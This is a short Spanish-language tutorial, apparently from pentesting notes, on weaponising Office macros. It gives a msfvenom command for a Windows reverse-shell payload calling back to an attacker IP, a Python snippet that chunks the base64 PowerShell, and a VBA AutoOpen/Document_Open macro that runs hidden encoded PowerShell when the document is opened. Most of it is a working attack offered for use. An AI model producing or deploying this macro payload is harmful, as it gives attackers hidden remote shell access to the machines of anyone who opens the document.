Windows Office Macros

Primero utilizar msfvenom para crear una carga útil de reverse_shell:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.111 LPORT=443 -f hta-psh -o evil.hta

En el archivo evil.hta, verá el script de PowerShell codificado con base64.

Para la macro, la máxima longitud de una cadena es de solo 50 caracteres y, por lo tanto, tenemos que dividirla. Aquí hay un ejemplo de secuencia de comandos de Python:

str = "<powershell script in base64>"
n = 50

for i in range(0, len(str), n):
    print "Str = Str + " + '"' + str[i:i+n] + '"'

Luego de lo anterior podemos crear el Macro en un documento de office 97-2003 con extensión .doc

Sub AutoOpen()
    MyMacro
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub MyMacro()
    Dim Str As String
    
    Str = "powershell.exe -nop -w hidden -enc "
    Str = Str + ...
    <Pegar el resultado del script en base64>
    CreateObject("Wscript.Shell").Run Str
End Sub

Cuando el cliente de Office abra este documento, obtendras un hermoso shell reverse.

Última actualización